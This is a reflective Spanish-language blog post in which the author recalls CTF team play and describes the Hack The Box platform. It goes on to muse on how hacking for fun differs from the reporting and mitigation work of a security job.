<p>Jugando CTFs pertenecí al grupo <a href="https://ctftime.org/team/17685">dephault</a> bajo otro handle, disuelto ya porque la vida es cruel y la coordinación de 6 personas con diferentes husos horarios para ocupar un fin de semana entero siendo que algunos tienen hijos se fue tornando difícil. Hemos llegado al TOP 5 en alguna que otra competencia, y fue suficiente para sentirnos todos satisfechos por el esfuerzo en conjunto y festejar a la distancia con cervezas ASCIIs en IRC.</p>
<p><img src="/assets/images/hackthebox/hackthebox-2.png" alt="Después de explotar una máquina, también tenes que obtener privilegios de root" class="img-responsive" /></p>
<p>Aunque HTB tiene sabor a CTF no se parece a nada en lo que haya participado lúdicamente nunca. Una vez registrado en la plataforma (que requiere un código de invitación que tenés que hackear por tu cuenta) se otorga acceso al VPN de HTB y una lista de maquinas con sus respectivas IPs. Cada IP es un challenge, un servidor con algún servicio vulnerable y la única pista que se da al jugador son los misteriosos títulos que tiene cada máquina. No hay enunciados. No hay pistas. No hay binarios. Solo una IP y el sistema operativo en el que corre la máquina.
El nuevo nivel de dificultad que se me estaba presentando me pareció inmediatamente fascinante. Tan fascinante que mientras estaba con mi amigo bebiendo estas fabulosas cervezas no podía parar de insistirle en que se registre:</p>
<ul>
<li>No Tosh, gracias, pero no. No me interesa mucho.</li>
<li>Dale, está buenísimo y es muy divertido.</li>
<li>¿Divertido? ¿Desde cuándo es divertido jugar a que trabajás?</li>
</ul>
<p>Dejando esa pregunta en el aire, continuamos hablando de otras cosas. No supe en ese momento que responder, porque nunca había considerado este tipo de competencias como trabajo. Pero sin embargo, tiene un punto importante ya que lo que uno hace en estas competencias se asemeja parcialmente al día a día en el laburo. <em>O no, porque me divierto, bocha</em>. En mi caso, siento que la diferencia fundamental entre divertirse y trabajar es la ausencia de extensos reportes y recomendaciones para mitigar vulnerabilidades, cosa absolutamente necesaria para hacer que la internet sea un poco más segura en cada intrusión contratada. No contratadas también, <em>pero eso ya es un tema más complejo.</em></p>
<blockquote>
<p>En HTB solamente entrás, rompés y la recompensa es un flag y unos puntos, extirpando de lleno todo el tedio administrativo.</p>
</blockquote>
<p>De pronto, pensando sesudamente sobre esto, doy cuenta que trabajar en mi caso no implica explotar vulnerabilidades -la parte divertida- sino más bien reportarlas, explicarlas, y proponer soluciones para evitar que sigan existiendo y que de alguna manera jocosamente-ultra-simplificada, no nos roben de nuestros dispositivos conversaciones privadas o desnudos, <a href="https://www.wired.com/2015/04/john-oliver-edward-snowden-dick-pics/">como explicó magistralmente Edward Snowden a John Oliver</a> para bajar al usuario medio los verdaderos riesgos de las vulnerabilidades que aun no hemos descubierto y ciertos gobiernos o “grupos de personas” potencialmente si.</p>
<p>Esta pregunta que hizo este amigo, disparó en mi buscar el subjetivo significado del trabajo y la interrelación con la diversión, conceptos fácilmente antagonizables cuando el tedio se apropia de la actividad. Por ahora, a falta de una mejor descripción, siento que trabajar en definitiva no es usar los conocimientos para penetrar sistemas, si no más bien explicar de manera <em>sencilla</em> el porqué es importante alertar sobre estas cosas y como mitigarlas.
Y explicar tareas tan complejas y su impacto <em>sencillamente</em> es sorprendentemente trabajoso.</p>